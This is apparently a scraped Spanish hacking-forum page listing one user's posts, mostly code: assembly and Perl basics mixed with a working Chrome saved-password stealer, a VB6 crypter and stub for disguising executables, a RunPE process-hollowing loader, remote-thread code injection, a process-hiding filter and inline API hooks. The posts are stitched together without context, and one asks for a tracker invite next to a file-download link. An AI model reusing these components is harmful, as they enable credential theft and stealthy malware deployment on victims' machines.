Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
este es de Softdat@CLS.
algún alma caritativa por ahí al que le sobre una invitación? 
https://turbobit.net/6aa4wraynw7x.html
// Hook al Ratón
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PMSLLHOOKSTRUCT raton = (PMSLLHOOKSTRUCT)lParam;
system("CLS");
printf("X:%i\tY:%i\n",raton->pt.x, raton->pt.y);
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HHOOK MouseHook = SetWindowsHookEx(WH_MOUSE_LL,LowLevelMouseProc,hInstance,0);
MessageBoxA(0,"Si pulsas aceptar acabará el programa",0,0);
return 0;
}
LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PMSLLHOOKSTRUCT raton = (PMSLLHOOKSTRUCT)lParam;
if (raton->pt.x != 0 || raton->pt.y != 0);
{
SetCursorPos(0,0);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Option Explicit
Private Sub AbrirArchivo_Click() ' Boton con el que seleccionaremos el archivo ejecutable
With CD ' Objeto CommonDialog
.Filter = "Archivos ejecutables |*.exe" ' Le decimos que solo puedan seleccionar archivos ejecutables
.ShowOpen
Text1.Text = .FileName ' Guardamos el ejecutable que selecciono en el textbox1
End With
End Sub
Private Sub Cifrar_Click() ' Boton que cifra y genera el archivo
Dim Datos As String
Dim DatosCifrados As String
Dim Stub As String
Open Text1.Text For Binary As #1 ' Leemos el archivo que queremos cifrar
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
DatosCifrados = CifrarDatos(Datos) ' Ciframos los datos
Open App.Path & "\Stub.exe" For Binary As #2 ' Leemos el stub
Stub = Space(LOF(2))
Get #2, , Stub
Close #2
Open App.Path & "\Generado.exe" For Binary As #3 ' generamos el ejecutable final cifrado:
Put #3, , Stub ' Escribimos el stub
Put #3, , "FORO.ELHACKER.NET" ' Escribimos nuestra "MARCA"
Put #3, , DatosCifrados ' Escribimos los datos cifrados
Close #3
MsgBox "Archivo cifrado" ' Terminamos de cifrar
End Sub
Public Function CifrarDatos(Datos As String) As String ' Funcion que cifra los datos
Dim i As Integer
Dim Buffer As String
For i = 1 To Len(Datos)
Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
Next i
CifrarDatos = Buffer
End FunctionOption Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
Dim Misdatos As String
Dim cifrados As String
Dim Descifrados As String
Open App.Path & "\Generado.exe" For Binary As #1 ' Nos leemos a nostros mismos
Misdatos = Space(LOF(1))
Get #1, , Misdatos
Close #1
cifrados = Split(Misdatos, "FORO.ELHACKER.NET")(1) ' Obtenemos lo que hay a partis de la marca
Descifrados = CifrarDatos(cifrados) ' Desciframos el ejecutable que teniamos guardados
Open App.Path & "\Descifrado.exe" For Binary As #1 ' Generamos el ejecutable
Put #1, , Descifrados ' NOTA: Normalmente se extrae el archivo en otra ruta, no en la ruta donde esta el ejecutbale cifrado.
Close #1
Call ShellExecute(Me.hwnd, "Open", App.Path & "\Descifrado.exe", "", "", 1) ' Ejecutamos el ejecutable
End Sub
Public Function CifrarDatos(Datos As String) As String ' Funcion que descifra los datos
Dim i As Integer
Dim Buffer As String
For i = 1 To Len(Datos)
Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
Next i
CifrarDatos = Buffer
End Function
mivariable dd 0mivariable dw 0
mivariable db 10
mov eax, edx ; Mueve el contenido del registro EDX al registro EAX
mov [mivariable], eax ; mueve el contenido de EAX a la variable "mivariable"
mov [mivariable], [otravariable]
add eax, 10 ; se suma al valor que contenga EAX 10.
add [mivariable], 5; se le suma al valor de la variable 10SUB al igual que ADD suma, SUB resta, su uso es igual.inc eax ; incrementa el valor de EAX en 1
inc [mivariable] ; incrementa el valor de mivariable en 1mov [mivariable], 2
mov eax, 2
mul [mivariable] ; Multiplica 2*2.
; resultado en el registro EAX y EDXmov [var], 2
mov eax, 10
div [var]
; EAX = resultado
; EDX = residuo
push eax
push [mivar]mov eax, 1
jmp Etiqueta ; saltamos
mov eax, 2 ; esto no se ejecuta
Etiqueta:
; EAX = 1...
...
add esp, 12
rethttp://www.jegerlehner.ch/intel/IntelCodeTable.pdfcmp eax, edx
je Iguales
mov eax,0
ret
Iguales:
mov eax,1
retxor eax, edx and ebx, ecxinclude 'win32ax.inc'
.data
; AQUI VAN LAS VARIABLES
.code
start:
; AQUI EL CODIGO
; AL FINALIZAR EL CODIGO PODEMOS DECLARAR MAS VARIABLES.
.end start include 'win32ax.inc'
entry start
section '.data' readable writeable
; AQUI VAN LAS VARIABLES
section '.code' executable readable writeable
start:
; AQUI EL CODIGO
; AL FINALIZAR EL CODIGO PODEMOS DECLARAR MAS VARIABLES.
section '.idata' import data readable writeable
; AQUI VAN LAS IMPORTACIONES DE LAS FUNCIONES QUE VAMOS A USAR. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
entry start
section '.data' readable writeable ; sección de datos
Mensaje db 'Hola dese FASM!',0 ; debemos poner el byte nulo '0', para que sea una cadena.
section '.code' executable readable writeable ; sección de codigo
start:
push 0 ; metemos el último parametro de la api
push Titulo ; metemos el 3 parametro
push Mensaje ; metemos el 2 parametro
push 0 ; metemos el 1 parametro
call [MessageBoxA] ; llamamos a la API.
ret ; retornamos la funcion. Se acbaa el programa.
Titulo db 'ElHacker.net',0
section '.idata' import data readable writeable ; tabla de importaciones
library USER32, 'USER32.DLL' ; librería donde se encuentra la API
import USER32,\
MessageBoxA, 'MessageBoxA' ; Función que vamos a usar 
https://es.wikipedia.org/wiki/Last_in,_first_outNum1 dd 2
Num2 dd 3mov eax, [Num1]
add eax, [Num2]
push 0
push 0
push eax
push 0
call [MessageBoxA]
; Suponiendo que en la variable buffer tenemos la cadena 'hola'
mov al, byte[buffer] ; AL = 'h'
mov ah, byte[buffer+1] ; AH = 'o'
mov al, byte[ecx] ; mueve el byte al que apunta ECX a AL.
mov DX, word[buffer] mov eax, DWORD[buffer]
mov eax, [buffer] ; esto es igual a la linea anterior
Bucle:
push 0 ; estamos dentro del bucle.
push 0
push 0
push 0
call [MessageBoxA]
jmp Bucle ; saltamos a la etiqueta bucle de nuevo.include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
.data
var dd 5
Texto db 'Esto se mostrara 5 veces.',0
.code
start:
mov ecx, [var] ; movemos el valor de la variable a ECX
Bucle:
push ecx ; guardamos el valor de ECX
push 0
push 0
push Texto
push 0
call [MessageBoxA] ; llamamos a la API
pop ecx ; Recuperamos el valor de ECX
dec ecx ; decrementamos el valor de ECX
cmp ecx, 0 ; Comparamos ECX con 0
jne Bucle ; Si la comparación no es igual saltamos de nuevo a la etiqueta bucle
ret ; retornamos la funcion y terminamos el programa.
.end start ![:-\](https://forum.elhacker.net/Smileys/navidad/undecided.gif ":-\")
por eso el push y pop con ECX, para guardar su valor y despues recuperarlo intacto.include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
.data
var dd 5
Texto db 'Este mensaje se ejecuta desde la funcion',0
Titulo db 'ElHacker.net',0
.code
start:
push Texto
push Titulo
call Mensaje
ret
Mensaje: ; Funcion mensage.
push ebp ; Guardamos la base de la pila
mov ebp, esp ; movemos la parte alta de la pila a la parte baja.
mov eax, dword[ebp+8] ; movemos el primer parametro a EAX
mov ebx, dword[ebp+12] ; segundo parametro a EBX
push 0 ; introducimos los parametros d ela API
push eax
push ebx
push 0
call [MessageBoxA] ; llamamos a la API
pop ebp ; restauramos el valor de EBP
add esp,12 ; se restaura el registro para que no se rompa la pila
ret
.end start add esp,12 mov eax, dword[ebp+8] ; movemos el primer parametro a EAX
mov ebx, dword[ebp+12] ; segundo parametro a EBX
0040102A |. 09C0 OR EAX,EAXinclude 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
.data
var dd 5
Texto db 'Esto se mostrara 5 veces.',0
.code
start:
mov ecx, [var] ; movemos el valor de la variable a ECX
Bucle:
push ecx ; guardamos el valor de ECX
push 0
push 0
push Texto
push 0
call [MessageBoxA] ; llamamos a la API
pop ecx ; Recuperamos el valor de ECX
dec ecx ; decrementamos el valor de ECX
cmp ecx, 0 ; Comparamos ECX con 0
jne Bucle ; Si la comparación no es igual saltamos de nuevo a la etiqueta bucle
ret ; retornamos la funcion y terminamos el programa.
.end start , el ASM que vemos es este:
0040201D |.^75 E7 \JNZ SHORT Tutorial.00402006
00402011 |. FF15 3C304000 |CALL DWORD PTR DS:[<&USER32.MessageBoxA>; \MessageBoxA
y el bucle se va a romper... el programa estallara, por eso lo de guardar el valor de ECX. 
peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello.// Filtro procesos a la API NtQuerySystemInformation
// Juan fary.
// MVSC++ 2008
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef struct _SYSTEM_PROCESS_INFORMATION
{
DWORD NextEntryOffset;
char fary1[56];
DWORD ImageName;
DWORD fary2;
LONG BasePriority;
PVOID UniqueProcessId;
} SYSTEM_PROCESS_INFORMATION;
typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*);
int main()
{
_SYSTEM_PROCESS_INFORMATION * spi;
DWORD ret;
char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará
_SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation");
void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
spi = (_SYSTEM_PROCESS_INFORMATION *)buffer;
ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);
//_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono.
while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos.
{
_SYSTEM_PROCESS_INFORMATION * Viejospi = spi;
spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0)
{
Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset;
}else{
spi = Viejospi;
spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
}
}
/*spi = Intacta;
while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P
{
MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0);
spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
}*/
return 0;
}
00401389 |. E8 52040000 CALL <JMP.&msvcrt.strcmp> ; \strcmp
004013A8 |> C70424 6420400>MOV DWORD PTR SS:[ESP],crack.00402064 ; |ASCII "Sigue intentando..."004013A8 C70424 1010400>MOV DWORD PTR SS:[ESP],crack.404010
Espero que se haya entendido algo, y nada, se que esto es muy básico pero seguro que a mas de uno de los que empiezan le va a servir.HKEY_LOCAL_MACHINES\Software\Microsoft\WindowsNT\CurrentVersion\Windows\
; Stealer Google Chrome
; Programado por Juan fary.
; Flat Assembler.
format PE Console 4.0
entry start
include 'win32ax.inc'
section '.data' data readable writeable
ruta db '\Local\Google\Chrome\User Data\Default\Login Data',0
query db 'SELECT origin_url, username_value, password_value FROM logins',0
bd dd ?
stmt dd ?
URL db 'URL: %s',10,13,0
Usuario db 'Usuario: %s',10,13,0
PASS db 'PASS: %s',10,13,0
struct DATA_BLOB
cbData dd ?
pbData dd ?
ends
datain DATA_BLOB
dataout DATA_BLOB
buffer rb 255
barra db '-----------------------------------------------------',10,13,0
BufferRuta rb 512
APPDATA db 'APPDATA',0
section '.code' code readable executable
start:
invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
invoke lstrcat, BufferRuta, ruta
cinvoke sqlite3_open, BufferRuta, bd
cmp eax, 0 ; eax = SQLITE_OK
jne salir
cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
cmp eax, 0 ; eax = SQLITE_OK
jne salir
BuclePass:
cinvoke sqlite3_step, [stmt]
cmp eax, 100 ; eax = SQLITE_ROW
jne salir
cinvoke printf,barra
cinvoke sqlite3_column_text , [stmt], 0 ; URL
cinvoke printf,URL,eax
cinvoke sqlite3_column_text , [stmt], 1 ; USUARIO
cinvoke printf,Usuario,eax
cinvoke sqlite3_column_text , [stmt], 2 ; Contraseña
mov [datain.pbData], eax
mov [datain.cbData], 512
invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout
mov ecx, -1
BucleNull:
mov edx, [dataout.pbData]
inc ecx
cmp byte[edx+ecx],0x08
jne BucleNull
mov byte[edx+ecx],0
cinvoke printf, PASS, [dataout.pbData]
cinvoke printf,barra
jmp BuclePass
salir:
cinvoke system,'PAUSE'
ret
section '.idata' import data readable writeable
library sqlite3, 'sqlite3.dll',\
msvcrt, 'msvcrt.dll',\
Crypt32, 'Crypt32.dll',\
KERNEL32, 'KERNEL32.DLL'
import sqlite3,\
sqlite3_open, 'sqlite3_open',\
sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
sqlite3_column_text, 'sqlite3_column_text',\
sqlite3_step, 'sqlite3_step'
import msvcrt,\
printf, 'printf',\
memcpy,'memcpy',\
system, 'system'
import Crypt32,\
CryptUnprotectData, 'CryptUnprotectData'
import KERNEL32,\
GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
lstrcat, 'lstrcatA' https://es.wikipedia.org/wiki/Endianness; Little-Endian ó Big-Endian
; Juan fary.
format PE Console 4.0
entry start
include 'win32ax.inc'
section '.data' data readable writeable
numero dw 1
little_endian db 'Little-Endian!',0
big_endian db 'Big-Endian!',0
section '.code' code readable writeable executable
start:
mov al, byte[numero]
cmp al,1
jne Big
invoke MessageBoxA,0,little_endian,0,MB_OK
ret
Big:
invoke MessageBoxA,0,big_endian,0,MB_OK
ret
section '.idata' import data readable writeable
library User32,'User32.dll'
import User32,\
MessageBoxA,'MessageBoxA' CitarEl formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.
; // RunPE
; // Programado por Juan fary (mDrinky)
; // drinky.94@hotmail.com
format PE GUI 4.0
include 'win32ax.inc'
entry start
section '.data' readable writeable
struct CONTEXT
ContextFlags dd ?
Dr0 dd ?
Dr1 dd ?
Dr2 dd ?
Dr3 dd ?
Dr6 dd ?
Dr7 dd ?
FloatSave dd ?
SegGs dd ?
SegFs dd ?
SegEs dd ?
SegDs dd ?
Edi dd ?
Esi dd ?
Ebx dd ?
Edx dd ?
Ecx dd ?
Eax dd ?
Ebp dd ?
Eip dd ?
SegCs dd ?
EFlags dd ?
Esp dd ?
SegSs dd ?
ExtendedRegisters rb 512
ends
calc db 'c:\windows\system32\calc.exe',0
bleidos dd 0
Datos dd 0
Espacio dd 0
_SI STARTUPINFO ?
_PI PROCESS_INFORMATION ?
CTX CONTEXT ?
Param2 dd 0
; Datos PE
imagebase dd ?
sizeofheaders dd ?
sizeofimage dd ?
numseciones dd ?
section '.code' executable readable writeable
start:
invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ; nos autoleemos
mov ebx,eax
invoke GetFileSize,ebx,0
mov edi,eax
invoke GlobalAlloc,GPTR,edi
push eax
invoke ReadFile,ebx,eax,edi,addr bleidos,0
invoke CloseHandle,ebx
pop eax
mov [Datos],eax
cmp word[eax],'MZ'
jne salir
add eax,dword[eax+0x3C] ; PE
cmp word[eax],'PE'
jne salir
push dword[eax+0x34] ; imagebase
pop [imagebase]
push dword[eax+0x54] ; sizeofheaders
pop [sizeofheaders]
push dword[eax+0x50]
pop [sizeofimage] ; sizeofimage
movzx ebx,word[eax+0x6] ; numero de secciones
mov [numseciones],ebx
push eax ; guardamos ya EAX para el final
push eax
invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
mov [Espacio],eax
invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
pop eax
mov ecx,0
add eax,0xF8 ; posicionamos en las cabeceras de sección
EscribirSecciones:
inc ecx
push ecx
push eax
mov ebx,eax
mov ebx,dword[ebx+0xC] ; imagebase
add ebx,[imagebase]
mov [Param2],ebx
mov ebx,eax
mov ebx,dword[ebx+0x14]
mov edx,[Datos]
add edx,ebx
mov ebx,eax
mov ebx,dword[ebx+0x10]
invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
pop eax
pop ecx
add eax,0x28 ; Siguiente IMAGE_SECTION_HEADER
cmp ecx,[numseciones]
jne EscribirSecciones
invoke GetThreadContext,[_PI.hProcess],CTX
invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
pop eax
add eax,dword[eax+0x3C]
mov eax,dword[eax+0x28]
mov [CTX.Eax],eax ; EntryPoint
invoke SetThreadContext,[_PI.hProcess],CTX
invoke ResumeThread,[_PI.hThread]
salir:
ret
section '.idata' import data readable writeable
library NTDLL,'NTDLL.DLL',\
KERNEL32,'KERNEL32.DLL'
import KERNEL32,\
CreateProcessA,'CreateProcessA',\
CreateFileA,'CreateFileA',\
GetFileSize,'GetFileSize',\
GlobalAlloc,'GlobalAlloc',\
ReadFile,'ReadFile',\
CloseHandle,'CloseHandle',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory,'WriteProcessMemory',\
GetThreadContext,'GetThreadContext',\
SetThreadContext,'SetThreadContext',\
ResumeThread,'ResumeThread'
import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection' format PE GUI 4.0
entry start
include 'win32ax.inc'
Ventana db 'Buscaminas',0
idproc dd ?
ID dd ?
TamFun dd ?
DirFun dd ?
start:
invoke FindWindow,NULL,Ventana
invoke GetWindowThreadProcessId,eax,addr idproc ;idproc = identficador del proceso
invoke OpenProcess,PROCESS_ALL_ACCESS,0,[idproc]
mov [ID],eax
invoke LoadLibrary,"user32.dll" ;cargamos user32.dll
invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la dirección de la api
mov [mMessageBoxA],eax ; movemos la dirección de la api a la variable que hay dentro de la funcion qeu inyectaremos
mov eax,final ;Obtenemos el tamaño de la función
sub eax,Inyectado
mov [TamFun],eax
invoke VirtualAllocEx,[ID],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE ;generamos el espacio dentro del proceso
mov [DirFun],eax
invoke WriteProcessMemory,[ID],eax,Inyectado,[TamFun],0 ;escribimos nuestro código en el proceso
invoke CreateRemoteThread,[ID],0,0,[DirFun],0,0,0 ;Lanzamos el hilo.
ret
proc Inyectado
call offset ;Técnica del offset delta.
offset:
pop ebx
sub ebx,offset
push ebx ebx
pop ecx edx
add ecx,titulo
add edx,cuerpo
push 0
push ecx
push edx
push 0
call [ebx+mMessageBoxA]
ret
titulo db 'Me inyecte!',0
cuerpo db 'Este Mensage sale del buscaminas ^^',0
mMessageBoxA dd ? ;variable que contiene la dirección de MessageBoxA@user32.dll
endp
final:
data import
library kernel32,'Kernel32.dll',\
user32,'user32.dll'
import user32,MessageBoxA,'MessageBoxA',\
FindWindow,'FindWindowA',\
GetWindowThreadProcessId,'GetWindowThreadProcessId'
import kernel32,OpenProcess,'OpenProcess',\
GetModuleHandle,'GetModuleHandleA',\
GetProcAddress,'GetProcAddress',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory,'WriteProcessMemory',\
CreateRemoteThread,'CreateRemoteThread',\
LoadLibrary,'LoadLibraryA'
end data Format PE GUI 4.0
entry start
include 'win32ax.inc'
calc db 'c:\windows\system32\calc.exe',0
pi PROCESS_INFORMATION ?
sin STARTUPINFO ?
TamFun dd ? ;tamaño de la funcion...
DirFun dd ? ; dirección de la funcion
DirUser dd ?
start:
invoke CreateProcessA,0,calc,0,0,0,0,0,0,sin,pi
invoke Sleep,2000
invoke LoadLibrary,"user32.dll"
mov [DirUser],eax
invoke GetProcAddress,[DirUser],"MessageBoxA"
mov [mMessageBoxA],eax
invoke GetProcAddress,[DirUser],"FindWindowA"
mov [mFindWindow],eax
invoke GetProcAddress,[DirUser],"SetWindowTextA"
mov [mSetWindowTextA],eax
mov ebx,final ;obtenemos el Tamaño de la función
sub ebx,Inyectada
mov [TamFun],ebx
invoke VirtualAllocEx,[pi.hProcess],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFun],eax
invoke WriteProcessMemory,[pi.hProcess],eax,Inyectada,[TamFun],0
invoke CreateRemoteThread,[pi.hProcess],0,0,[DirFun],0,0,0
ret
proc Inyectada
call offset
offset:
pop ebx
sub ebx,offset
push ebx
pop ecx
add ecx,Calculadora
push ecx
push NULL
call [ebx+mFindWindow]
push ebx
pop ecx
add ecx, TituloVen
push ecx
push eax
call [ebx+mSetWindowTextA]
push ebx ebx
pop edx ecx
add ecx,TituloMsg
add edx,CuerpoMsg
push 0
push ecx
push edx
push 0
call [ebx+mMessageBoxA]
ret
TituloMsg db 'Inyectado!',0
CuerpoMsg db 'El código inyectado Cambio el nombre a la ventana',0
TituloVen db 'Este es un título falso',0
Calculadora db 'Calculadora',0
mMessageBoxA dd ? ;Dirección MessageBox
mFindWindow dd ? ;dirección fundwindow
mSetWindowTextA dd ? ;Dirección de SetWindowText
endp
final:
data import
library kernel32,'kernel32.dll'
import kernel32,CreateProcessA,'CreateProcessA',\
Sleep,'Sleep',\
GetModuleHandle,'GetModuleHandleA',\
GetProcAddress,'GetProcAddress',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory,'WriteProcessMemory',\
CreateRemoteThread,'CreateRemoteThread',\
LoadLibrary,'LoadLibraryA'
end data using System;
using System.Net.Mail;
using System.Net;
namespace Email
{
class Program
{
static void Main(string[] args)
{
MailMessage email = new MailMessage();
MailAddress emisor = new MailAddress("x@gmail.com");
email.Subject = "desde c#";
email.To.Add("x4@hotmail.com");
email.From = emisor;
email.Body = "Este es el cuerpo del mensaje";
SmtpClient SMTP = new SmtpClient("smtp.gmail.com");
NetworkCredential credenciales = new NetworkCredential("x@gmail.com","xxx");
SMTP.Port = 587;
SMTP.EnableSsl = true;
SMTP.Credentials = credenciales;
try
{
SMTP.Send(email);
Console.WriteLine("Enviado!");
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
Console.Read();
}
}
}
include 'win32ax.inc'
.data
msg1 db 'hola',0
.code
start:
invoke MessageBoxA,0,msg1,0,0
ret
.end start 
mov edi, edi
push ebp
mov ebp, esp
include 'win32ax.inc'
.data
msg1 db 'hola',0
USER32 db 'USER32.DLL',0
funcion db 'MessageBoxA',0
dirfun dd ?
proteccion dd ?
.code
start:
call Hook
invoke MessageBoxA,0,msg1,0,0
ret
proc Hook
invoke LoadLibrary, USER32
invoke GetProcAddress,eax,funcion ; Obtenemos la direccion de la función
mov [dirfun],eax
mov ebx,eax
mov eax, mMessageBox ; Calculamos el salto relativo.
sub eax,ebx
sub eax,5
push eax
invoke VirtualProtect,[dirfun],5,PAGE_EXECUTE_READWRITE,addr proteccion ; damos derechos de acceso.
pop eax
mov ebx, [dirfun]
mov byte[ebx],0xE9 ;escribimos un jmp al inicio de la API verdadera
inc ebx
mov dword[ebx],eax ; escribimos el salto que tiene que dar en el inicio de la api verdadera
add ebx,4
ret
endp
proc mMessageBox ; Funcion que saltará cuando el programa llame a la API Original
ret
endp
.end start include 'win32ax.inc'
.data
msg1 db 'hola',0
USER32 db 'USER32.DLL',0
funcion db 'MessageBoxA',0
dirfun dd ?
proteccion dd ?
msghook db 'API Hookeada!',0
.code
start:
call Hook
invoke MessageBoxA,0,msg1,0,0
ret
proc Hook
invoke LoadLibrary, USER32
invoke GetProcAddress,eax,funcion ; Obtenemos la direccion de la función
mov [dirfun],eax
mov ebx,eax
mov eax, mMessageBox ; Calculamos el salto relativo.
sub eax,ebx
sub eax,5
push eax
invoke VirtualProtect,[dirfun],5,PAGE_EXECUTE_READWRITE,addr proteccion ; damos derechos de acceso.
pop eax
mov ebx, [dirfun]
mov byte[ebx],0xE9 ;escribimos un jmp al inicio de la API verdadera
inc ebx
mov dword[ebx],eax ; escribimos el salto que tiene que dar en el inicio de la api verdadera
add ebx,4
ret
endp
proc mMessageBox ; Funcion que saltará cuando el programa llame a la API Original
pop eax ; obtenemos la direccion de retorno que introdujo el call
pop ebx ; sacamos los parametros original que se pasaron a la API
pop ebx
pop ebx
pop ebx
push 0 ; Introducimos los parametros que queremos que ejecute nuestra API
push 0
push msghook
push 0
push eax ; Introducimos la direccion de retorno original
mov edi, edi ; Ejecutamos los 5 primeros bytes originales de la API
push ebp
mov ebp, esp
mov ebx, [dirfun] ; Calculamos el salto hacia la API original
add ebx,5
jmp ebx ; Saltamos a la direccion de la API original + 5 bytes
ret
endp
.end start
[connection]
id=NOMBRE_DE_LA_RED
uuid=XXXXXXXX-0e74-4e4b-a363-XXXXXXXX
type=802-11-wireless
[802-11-wireless]
ssid=WLAN_XXXX
mode=infrastructure
mac-address=00:19:XX:XX:XX
security=802-11-wireless-security
[802-11-wireless-security]
key-mgmt=wpa-psk
auth-alg=open
psk=CONTRASEÑA
[ipv4]
method=auto
[ipv6]
method=auto; Programado por mDrinky o Juan fary.
; drinky.94@hotmail.com
include 'win32ax.inc'
; Instrucciones a las que es capaz de sacar la longitud.
; mov esp,ebp = 0x8B 2 bytes
; push ebp = 0x55 1 byte
; mov Reg,DWORD = 0xB8 + Registro 5 bytes
; ret = 0xC3 1 byte
; ret Numero = 0xC2 2 bytes
; mov dword[Direccion],Numero = 0x83 7 bytes
.data
DLL db 'USER32.DLL',0
API db 'MessageBoxA',0
MsgHook db 'Api Hookeada',0
ApiBuena dd ?
CanSalto dd ?
oPer dd ?
Salto dd ?
.code
start:
invoke LoadLibraryA,DLL
invoke GetProcAddress,eax,API
mov [ApiBuena],eax
push MiFuncion
Call Hookear
push 0
push 0
push 0
push 0
call [MessageBoxA]
push 0
call [ExitProcess]
MiFuncion:
pop ecx
add esp,0xC
push 0
push 0
push MsgHook
push 0
push ecx
ApiVerdadera:
db 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
push eax
mov eax,[ApiBuena]
add eax,[CanSalto]
mov [Salto],eax
pop eax
jmp [Salto]
proc Hookear,FunHook
mov ecx,0
NumOpcode:
cmp byte[eax],0x8B
jne NoOp1
add ecx,2
add eax,2
NoOp1:
cmp byte[eax],0x55
jne NoOp2
add ecx,1
add eax,1
NoOp2:
cmp byte[eax],0xB8
jb NoOp3
cmp byte[eax],0xBD
ja NoOp3
add ecx,5
add eax,5
NoOp3:
cmp byte[eax],0xC3
jne NoOp4
add ecx,1
add eax,1
NoOp4:
cmp byte[eax],0xC2
jne NoOp5
add ecx,2
add eax,2
NoOp5:
cmp byte[eax],0x83
jne NoOp6
add ecx,7
add eax,7
NoOp6:
cmp ecx,5
jb NumOpcode
mov [CanSalto],ecx
invoke VirtualProtect,[ApiBuena],20,PAGE_EXECUTE_READWRITE,addr oPer
invoke VirtualProtect,ApiVerdadera,20,PAGE_EXECUTE_READWRITE,addr oPer
mov eax,[ApiBuena]
mov edx,ApiVerdadera
mov ecx,0
GuardarBytes:
mov bl,byte[eax+ecx]
mov byte[edx+ecx],bl
inc ecx
cmp ecx,[CanSalto]
jne GuardarBytes
mov eax,[ApiBuena]
mov byte[eax],0x68
inc eax
mov ebx,dword[FunHook]
mov dword[eax],ebx
add eax,4
mov byte[eax],0xC3
ret
endp
.end start
#!/usr/bin/perl
print "Hola Mundo!"; # Imprimimos en pantalla el saludo
#!/usr/bin/perl
my $cadena = "hola soy una cadena\n";
my $numero = 1;
my $n1 = 2;
my $n2 = 3;
print $cadena;
print $n1 + $n2 . "\n"; # suma e imprime los valores de las variables
print $n1 . $n2 . "\n"; # Concatena los numeros (Los tata como cadena)
print "$n1$n2\n"; # Otra forma de hacer lo de la linea de arriba
exit;
#!/usr/bin/perl
my @array; # array sin inicializar
my @animales = ('Gato','Perro','Pez'); # array inicializado
print "$animales[0]\n"; #imprimimos el primer elemento del array 'Gato'
print "$animales[1]\n"; #imprimimos el segundo elemento del array 'Perro'#!/usr/bin/perl
my @animales = ('Gato','Perro','Pez'); # array inicializado
print "El ultimo animal de la lista es el: $animales[2]\n";
push @animales,"Foca";
print "Ahora el ultimo animal es: $animales[3]\n";
pop @animales;
pop @animales;
print "Ahora el animal $animales[3] no esta\n";
print "El ultimo animal ahora es: $animales[1]\n";
#!/usr/bin/perl
my $n1 = 5;
my $n2 = 3;
my $c1 = '5';
my $c2 = '5';
